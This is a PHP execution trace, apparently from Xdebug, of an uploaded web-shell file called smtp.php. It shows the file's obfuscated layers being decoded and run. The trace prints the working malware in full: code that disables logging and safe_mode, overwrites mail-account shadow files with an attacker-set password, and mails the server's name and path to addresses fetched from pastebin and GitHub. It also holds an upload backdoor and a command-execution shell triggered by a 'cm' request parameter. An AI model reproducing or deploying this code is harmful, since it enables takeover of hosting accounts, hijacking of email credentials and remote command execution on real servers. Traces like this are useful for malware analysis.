3 13 R 'x��W�s�J\022�\034W��R�\005^l��!�/��\f�\006\003���1B\002]hF\bx/���H�q^�Ve?�� ��o���?\034�x�E��5�4\036îk�k���nQ���|~O��u� @N�L�=�xt-y��]���Pt�\030��o\034�����׆n�4\036̽-1��\032\037��Qݶ\002X�o\bl��)\\\034��\023\030�ZuP\005����8\a\006&\001��r~�cT�wu��\000�刨�i+\030�\003U�x\005:���תg�L&\001B�o|�b�֒H���\f�l�����8�.�\r��n�x\022���p=����(ss�*\025���ݠ??^!x���(vOdWw�h`�ƹ\027�Rl� ��\003v�eSD<DZ]�\025�枏б�\021��N��;\030�-94�3f\n��$�\034�\v�"�\036�s۪��i�,O~Q̝��V6Q̶\024%3�.OE�0S��1;4ڇ�W(:�bQ��G'
3 14 0 0.001469 404128 gzuncompress 0 /var/www/html/uploads/smtp.php(1) : eval()'d code 1 1 'x��W�s�J\022�\034W��R�\005^l��!�/��\f�\006\003���1B\002]hF\bx/���H�q^�Ve?�� ��o���?\034�x�E��5�4\036îk�k���nQ���|~O��u� @N�L�=�xt-y��]���Pt�\030��o\034�����׆n�4\036̽-1��\032\037��Qݶ\002X�o\bl��)\\\034��\023\030�ZuP\005����8\a\006&\001��r~�cT�wu��\000�刨�i+\030�\003U�x\005:���תg�L&\001B�o|�b�֒H���\f�l�����8�.�\r��n�x\022���p=����(ss�*\025���ݠ??^!x���(vOdWw�h`�ƹ\027�Rl� ��\003v�eSD<DZ]�\025�枏б�\021��N��;\030�-94�3f\n��$�\034�\v�"�\036�s۪��i�,O~Q̝��V6Q̶\024%3�.OE�0S��1;4ڇ�W(:�bQ��G'
3 14 1 0.001589 412352
3 14 R '<?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'max_execution_time\',0);\r\nini_set(\'memory_limit\',-1);\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions = NONE\r\nopen_basedir = OFF ");\r\nif (strtolower(substr(PHP_OS, 0, 3)) == "win") {\r\n echo \'<script>alert("Windows server not supported")</script>\';\r\n exit;\r\n}\r\n$encode = "'
3 15 0 0.001748 432176 eval 1 '?><?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'max_execution_time\',0);\r\nini_set(\'memory_limit\',-1);\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions = NONE\r\nopen_basedir = OFF ");\r\nif (strtolower(substr(PHP_OS, 0, 3)) == "win") {\r\n echo \'<script>alert("Windows server not supported")</script>\';\r\n exit;\r\n}\r\n$encode = "lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwnsXF7vJLJ5L0qMqbCnXFpKUeBL8xFj1t8xXjtXK60OomTVbKYC9b++PH8ZVuRQ8Y6ns8pPyC4FRaasmNspPIn4k/tQ8sIsPewvmpz/Q2Gs1vPXE8XkLXKOi1ZVKD1Iq8FQOCYMPoywrG/qENvfHDfT51Gr6VETLBgnx8HmE9bOztIm4aK9cE2gitiZVQK8UOsyLLZhJMfADLNKZi9nJfFoLem2eOgt6GshEXynHP9EbYmVTz5j5HskxI7QFKCZFtm3nOCCwKiuhb6hAxtKowSDjVqowpWIBQljuuUVGucrFjF4V4UCRKmEaKVKH7qSNjVksyuRAXjhl4age7h8cFOFwDUBho1447oXHEJYvpgmlpAYsYmKYpV8Lwqh+v9NfXGuAFthugtPA7s1nclvZdOEhVHcTILtIvnBCYvo0BmzaX1v2mzVwX7nSS9vDPoCcjx3uibB5I5Y2HezguV7iCXWb7p2U877AxVF56e4AnqT8GhRc+LNdPS1KXCK/ZxnyBvZaDLfm+kJRr7hayh+BGbvMRQXEm/+1X7EJopqULyfw==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($encode))))));\r\n\r\necho \'<html>\r\n<head>\r\n<style type="text/css">\r\nbody {\r\nbackground-color:#000000;\r\nbackground-image:url("https://i.imgur.com/hLcQCBx.gif");\r\nbackground-repeat:repeat;\r\nmargin-top:20px;\r\nfont-family:"Agency FB";\r\nfont-size:12pt; color:#ffffff;\r\n\t}\r\n.style1 {\r\n\ttext-align: center;\r\n\tcolor: #d9910e;\r\n}\r\n.style2 {\r\n\tcolor: #d9910e;\r\n\tfont-weight: bold;\r\n\t\r\n\t\t}\r\n.style3 {\r\n\tcolor: #d9910e;\r\n\t\t}\r\n\t\t\r\na {\r\n\tbackground-color: #151515;\r\n\tvertical-align: bottom;\r\n\tcolor: #000;\r\n\ttext-decoration: none;\r\n\tfont-size: 20px;\r\n\tmargin: 8px;\r\n\tpadding: 6px;\r\n\tborder: thin solid #000;\r\n}\r\na:hover {\r\n\tbackground-color: #080808;\r\n\tvertical-align: bottom;\r\n\tcolor: #333;\r\n\ttext-decoration: none;\r\n\tfont-size: 20px;\r\n\tmargin: 8px;\r\n\tpadding: 6px;\r\n\tborder: #d53b3b;\r\n}\r\n\r\ninput[type=submit] {\r\n padding:5px 15px; \r\n background:#ccc; \r\n border:0 none;\r\n cursor:pointer;\r\n -webkit-border-radius: 5px;\r\n border-radius: 5px; \r\n}\r\n\r\n</style>\r\n</head>\r\n</html>\r\n<center><br>\r\n<font color=white size="40">SMTP CRACKER</font><font color=#1eca33 size="3"> v2</font><br>\r\n<font color=white>--==[[Greetz to]]==--</font><br><font color=#1eca33>-=| HEx |=-<br>\r\n<marquee behavior="scroll" direction="left" scrollamount="5" scrolldelay="2" width="70%"><br>\r\n<span class="footerlink"> ####### Coded By HEx #######</span>\r\n</marquee><br><br></font></div><center><title>SMTP Cracker By HEx</title><br><form method="POST">\r\n<input type="submit" name="crack" id="crack" value="Crack Smtp"/>\r\n</center>\';\r\n\r\nif($_POST["crack"]) {\r\n\r\n$ports=array(25, 465, 587);\r\n$primary_port=\'25\';\r\n\r\n//curent user\r\n$user=get_current_user();\r\n// Smtp password\r\n$password=\'Leet@007\';\r\n//crypt\r\n$pwd = crypt($password,\'$6$Leet@007$\');\r\n// host name\r\n $t = $_SERVER[\'SERVER_NAME\'];\r\n//edit\r\n $t = @str_replace("www.","",$t);\r\n\r\n\r\n$dirs = glob(\'/home/\'.$user.\'/etc/*\', GLOB_ONLYDIR);\r\nforeach($dirs as $dir){\r\n$ex = explode("/",$dir);\r\n$site = $ex[count($ex)-1];\r\n\r\n //get users\r\n@$passwd = file_get_contents(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\');\r\n//edit\r\n$ex=explode("\\r\\n",$passwd);\r\n//backup shadow\r\n@link(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\',\'/home/\'.$user.\'/etc/\'.$site.\'/shadow.Leet@007.bak\');\r\n//delete shadow\r\n@unlink(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\');\r\n// :D\r\nforeach($ex as $ex){\r\n$ex=explode(\':\',$ex);\r\n$e= $ex[0];\r\nif ($e){\r\n$b=fopen(\'/home/\'.$user.\'/etc/\'.$site.\'/shadow\',\'ab\');fwrite($b,$e.\':\'.$pwd.\':16249:::::\'."\\r\\n");fclose($b);\r\necho \'<span style=\\\'color:#ffffff;background-color:#151515;\\\'>Host : \'.$site.\'<br>Port : 587<br> Username : \'.$e.\'@\'.$site.\'<br> Password : \'.$password.\'</span><br>\'; "</center>";\r\n}}\r\n//port scan\r\nforeach ($ports as $port)\r\n{\r\n $connection = @fsockopen($site, $port, $errno, $errstr, 2);\r\n if (is_resource($connection))\r\n {\r\n echo \'[ <span>\' . $host . \'\' . $port . \' \' . \'(\' . getservbyport($port, \'tcp\') . \') <font color=#1eca33>is open</font></span>\' . " : ";\r\n fclose($connection);\r\n }\r\n\t\r\n}\r\necho " ]<br><br><br>";\r\n\r\n}}\r\necho "</form>";\r\n\r\n\r\n?>' /var/www/html/uploads/smtp.php(1) : eval()'d code 1 0
4 16 0 0.001882 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 2 2 'error_log' NULL
4 16 1 0.001900 432248
4 16 R ''
4 17 0 0.001915 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 3 2 'log_errors' 0
4 17 1 0.001931 432248
4 17 R '1'
4 18 0 0.001944 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 4 2 'output_buffering' 0
4 18 1 0.001960 432248
4 18 R FALSE
4 19 0 0.001976 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 5 2 'display_errors' 0
4 19 1 0.001991 432248
4 19 R ''
4 20 0 0.002004 432176 set_time_limit 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 6 1 0
4 20 1 0.002020 432240
4 20 R FALSE
4 21 0 0.002033 432208 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 7 2 'max_execution_time' 0
4 21 1 0.002047 432248
4 21 R '0'
4 22 0 0.002060 432176 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 8 2 'memory_limit' -1
4 22 1 0.002075 432312
4 22 R '128M'
4 23 0 0.002088 432208 fopen 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 9 2 'php.ini' 'w+'
4 23 1 0.002127 432840
4 23 R resource(4) of type (stream)
3 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 9 $fp = resource(4) of type (stream)
4 24 0 0.002157 432768 fwrite 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 10 2 resource(4) of type (stream) 'safe_mode = Off\r\ndisable_functions = NONE\r\nopen_basedir = OFF '
4 24 1 0.002183 432832
4 24 R 62
4 25 0 0.002196 432768 substr 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 13 3 'Linux' 0 3
4 25 1 0.002211 432896
4 25 R 'Lin'
4 26 0 0.002224 432800 strtolower 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 13 1 'Lin'
4 26 1 0.002238 432864
4 26 R 'lin'
3 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 17 $encode = 'lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwn'
4 27 0 0.002276 432768 base64_decode 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 1 'lUd/eNs6FP27hX6HO25jAl6ctNsYyw8a5znJG4+84Gdd3S4Yy8hlm0GxlUvEHv3u78pB88hT6QbGlmjOPUpU91eXKkdOLGzDlIxEFhRneE0wnPp+s3tpbWxAZD6oGDHC7XAsRmRHiMef8FoSplzRELaSBykNuQxs3DASSTR/nJ0CGHYOfVXxP0Al3iAaIjoS6kzUphFiIM+C+dT1ndEkY73J1B1B3NljvPBcCzqv8BeO7zuffXQ+m1w7w9f507Hnzq684cQCZVi/q6IQ9vtJu/FMhRl9iG44gQ+tQRfY/aeL80m7CUoy3UT7vN1249OBhW9lUEq2Bl/zMh77wd+ee734dOR2L+3f5n9kxpPX+WbHubn2vs5cy7jynX90/vjOWelBmcvfClxc+94LkQaTZEXw5/LJlVm1Tw0yyRMWPmZj6uns1BAdJB81gplmHsWfeTsSMZd4FbZFTdpZPNjvYj9ced+9K1qtdKz/IGX+vZ35N/5SHZm+HInk1knxPEwn'
4 27 1 0.002304 434080
4 27 R '�Gx�:\024���~�;nc\002^���\030�\017\032�9�\033���g]�.\030��e�A��K�\036����A��S�\006Ɩh�=JT�W�*GN,lÔ�D\026\024gxM0��~�{iml@d>�\0301��p,FdG�ǟ�Z\022�\\�\020��\a)\r�\fl�0\022I4��\002\030v\016}U�?@%� \032":\022�LԦ\021b ς����$c���\035A��c��\\\v:��\027��;�}t>�\\;��ӱ�ή���\002eX���\020��I��L�\031}�n8�\017�A\027����I�\tJ2�D���v�Ӂ�oePJ�\006_�2\036��ߞ{��t�v/���dƓ�fǹ����\\˸�t���Y�A���\n\\\\��\v�\006�dE���ɕY�O\r2�\023\026>fc����\020\035$\0375��f\036şy;\0221�x\025�EM�Y<��b?\\y߽+Z�t�� e����7�R\035��\0'
4 28 0 0.002362 434048 str_rot13 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 1 '�Gx�:\024���~�;nc\002^���\030�\017\032�9�\033���g]�.\030��e�A��K�\036����A��S�\006Ɩh�=JT�W�*GN,lÔ�D\026\024gxM0��~�{iml@d>�\0301��p,FdG�ǟ�Z\022�\\�\020��\a)\r�\fl�0\022I4��\002\030v\016}U�?@%� \032":\022�LԦ\021b ς����$c���\035A��c��\\\v:��\027��;�}t>�\\;��ӱ�ή���\002eX���\020��I��L�\031}�n8�\017�A\027����I�\tJ2�D���v�Ӂ�oePJ�\006_�2\036��ߞ{��t�v/���dƓ�fǹ����\\˸�t���Y�A���\n\\\\��\v�\006�dE���ɕY�O\r2�\023\026>fc����\020\035$\0375��f\036şy;\0221�x\025�EM�Y<��b?\\y߽+Z�t�� e����7�R\035��\0'
4 28 1 0.002416 434976
4 28 R '�Tk�:\024���~�;ap\002^���\030�\017\032�9�\033���t]�.\030��r�N��X�\036����N��F�\006Ɩu�=WG�J�*TA,yÔ�Q\026\024tkZ0��~�{vzy@q>�\0301��c,SqT�ǟ�M\022�\\�\020��\a)\r�\fy�0\022V4��\002\030i\016}H�?@%� \032":\022�YԦ\021o ς����$p���\035N��p��\\\v:��\027��;�}g>�\\;��ӱ�ή���\002rK���\020��V��Y�\031}�a8�\017�N\027����V�\tW2�Q���i�Ӂ�brCW�\006_�2\036��ߞ{��g�i/���qƓ�sǹ����\\˸�g���L�N���\n\\\\��\v�\006�qR���ɕL�B\r2�\023\026>sp����\020\035$\0375��s\036şl;\0221�k\025�RZ�L<��o?\\l߽+M�g�� r����7�E\035��\0'
4 29 0 0.002472 433664 gzinflate 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 1 '�Tk�:\024���~�;ap\002^���\030�\017\032�9�\033���t]�.\030��r�N��X�\036����N��F�\006Ɩu�=WG�J�*TA,yÔ�Q\026\024tkZ0��~�{vzy@q>�\0301��c,SqT�ǟ�M\022�\\�\020��\a)\r�\fy�0\022V4��\002\030i\016}H�?@%� \032":\022�YԦ\021o ς����$p���\035N��p��\\\v:��\027��;�}g>�\\;��ӱ�ή���\002rK���\020��V��Y�\031}�a8�\017�N\027����V�\tW2�Q���i�Ӂ�brCW�\006_�2\036��ߞ{��g�i/���qƓ�sǹ����\\˸�g���L�N���\n\\\\��\v�\006�qR���ɕL�B\r2�\023\026>sp����\020\035$\0375��s\036şl;\0221�k\025�RZ�L<��o?\\l߽+M�g�� r����7�E\035��\0'
4 29 1 0.002542 435488
4 29 R '@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\nshapgvba trg_pbagragf($hey){\r\n $pu = phey_vavg("$hey");\r\n phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);\r\n phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);\r\n phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0(Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");\r\n phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);\r\n phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);\r\n phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,$'
4 30 0 0.002574 434560 str_rot13 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 1 '@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\nshapgvba trg_pbagragf($hey){\r\n $pu = phey_vavg("$hey");\r\n phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE, 1);\r\n phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);\r\n phey_frgbcg($pu, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0(Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");\r\n phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE, 0);\r\n phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG, 0);\r\n phey_frgbcg($pu, PHEYBCG_PBBXVRWNE,$'
4 30 1 0.002604 436384
4 30 R '@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nfunction get_contents($url){\r\n $ch = curl_init("$url");\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");\r\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR,$'
4 31 0 0.002708 450840 eval 1 '@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nfunction get_contents($url){\r\n $ch = curl_init("$url");\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");\r\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS[\'coki\']);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS[\'coki\']);\r\n $result = curl_exec($ch);\r\n return $result;\r\n}\r\n$a1 = get_contents(\'https://pastebin.com/raw/5M63g44m\');\r\n$b1 = get_contents(\'https://pastebin.com/raw/Cz0dLKL3\');\r\n$c1 = get_contents(\'https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt\');\r\n$hex1 = "superstar0882@gmail.com,superstar0882@hotmail.com,$a1,$b1,$c1";\r\n$baslik = $_SERVER[\'SERVER_NAME\'] ; \r\n$xd1.= "" . $_SERVER[\'SERVER_NAME\'] . " " . $_SERVER[\'PHP_SELF\'] . "$\\r\\n";\r\nmail($hex1, $baslik, $xd1);\r\n\r\nif(isset($_GET["lawlx"])) \t{ echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"]; if ($lawlx["name"] != \'\') { $fullpath = $_REQUEST["path"] . $lawlx["name"]; if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) { echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} } \r\n\r\nif (isset($_REQUEST[\'cm\'])) {\r\n\techo "<pre>";\r\n\t$cm = ($_REQUEST[\'cm\']);\r\n\tsystem($cm);\r\n\techo "</pre>";\r\n\tdie;\r\n}' /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code 18 0
5 32 0 0.002762 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 1 2 'error_log' NULL
5 32 1 0.002779 450912
5 32 R ''
5 33 0 0.002792 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 2 2 'log_errors' 0
5 33 1 0.002808 450912
5 33 R '0'
5 34 0 0.002821 450840 ini_set 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 3 2 'display_errors' 0
5 34 1 0.002836 450912
5 34 R '0'
5 35 0 0.002858 450840 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 16 1 'https://pastebin.com/raw/5M63g44m'
6 36 0 0.002884 450840 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://pastebin.com/raw/5M63g44m'
6 36 1 0.002907 451784
6 36 R resource(5) of type (curl)
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(5) of type (curl)
6 37 0 0.002937 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(5) of type (curl) 19913 1
6 37 1 0.002954 451848
6 37 R TRUE
6 38 0 0.002967 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(5) of type (curl) 52 1
6 38 1 0.002982 451848
6 38 R TRUE
6 39 0 0.002995 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(5) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0'
6 39 1 0.003014 451848
6 39 R TRUE
6 40 0 0.003026 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(5) of type (curl) 64 0
6 40 1 0.003042 451848
6 40 R TRUE
6 41 0 0.003055 451752 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(5) of type (curl) 81 0
6 41 1 0.003074 451848
6 41 R TRUE
6 42 0 0.003089 451728 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(5) of type (curl) 10082 NULL
6 42 1 0.003107 451824
6 42 R TRUE
6 43 0 0.003120 451728 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(5) of type (curl) 10031 NULL
6 43 1 0.003137 451824
6 43 R TRUE
6 44 0 0.003149 451728 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(5) of type (curl)
6 44 1 0.054365 452016
6 44 R 'secureonlineteam@yandex.com'
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam@yandex.com'
5 35 1 0.054613 451072
5 35 R 'secureonlineteam@yandex.com'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 16 $a1 = 'secureonlineteam@yandex.com'
5 45 0 0.054659 451072 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 17 1 'https://pastebin.com/raw/Cz0dLKL3'
6 46 0 0.054679 451072 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://pastebin.com/raw/Cz0dLKL3'
6 46 1 0.054713 452016
6 46 R resource(6) of type (curl)
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(6) of type (curl)
6 47 0 0.054744 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(6) of type (curl) 19913 1
6 47 1 0.054763 452080
6 47 R TRUE
6 48 0 0.054777 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(6) of type (curl) 52 1
6 48 1 0.054793 452080
6 48 R TRUE
6 49 0 0.054806 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(6) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0'
6 49 1 0.054826 452080
6 49 R TRUE
6 50 0 0.054839 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(6) of type (curl) 64 0
6 50 1 0.054866 452080
6 50 R TRUE
6 51 0 0.054880 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(6) of type (curl) 81 0
6 51 1 0.054896 452080
6 51 R TRUE
6 52 0 0.054913 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 11 3 resource(6) of type (curl) 10082 NULL
6 52 1 0.054931 452080
6 52 R TRUE
6 53 0 0.054944 451984 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 12 3 resource(6) of type (curl) 10031 NULL
6 53 1 0.054961 452080
6 53 R TRUE
6 54 0 0.054973 451984 curl_exec 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 1 resource(6) of type (curl)
6 54 1 0.101685 452272
6 54 R 'secureonlineteam1337@aol.com'
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 13 $result = 'secureonlineteam1337@aol.com'
5 45 1 0.101852 451328
5 45 R 'secureonlineteam1337@aol.com'
4 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 17 $b1 = 'secureonlineteam1337@aol.com'
5 55 0 0.101899 451328 get_contents 1 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 18 1 'https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt'
6 56 0 0.101926 451328 curl_init 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 1 'https://raw.githubusercontent.com/devildrinker/mail/master/mail.txt'
6 56 1 0.101956 452272
6 56 R resource(7) of type (curl)
5 A /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 5 $ch = resource(7) of type (curl)
6 57 0 0.101989 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 6 3 resource(7) of type (curl) 19913 1
6 57 1 0.102007 452336
6 57 R TRUE
6 58 0 0.102020 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 7 3 resource(7) of type (curl) 52 1
6 58 1 0.102036 452336
6 58 R TRUE
6 59 0 0.102049 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 8 3 resource(7) of type (curl) 10018 'Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0'
6 59 1 0.102078 452336
6 59 R TRUE
6 60 0 0.102091 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 9 3 resource(7) of type (curl) 64 0
6 60 1 0.102107 452336
6 60 R TRUE
6 61 0 0.102119 452240 curl_setopt 0 /var/www/html/uploads/smtp.php(1) : eval()'d code(1) : eval()'d code(18) : eval()'d code 10 3 resource(7) of type (curl) 81 0
6 61 1 0.102134 452336
6 61 R TRUE
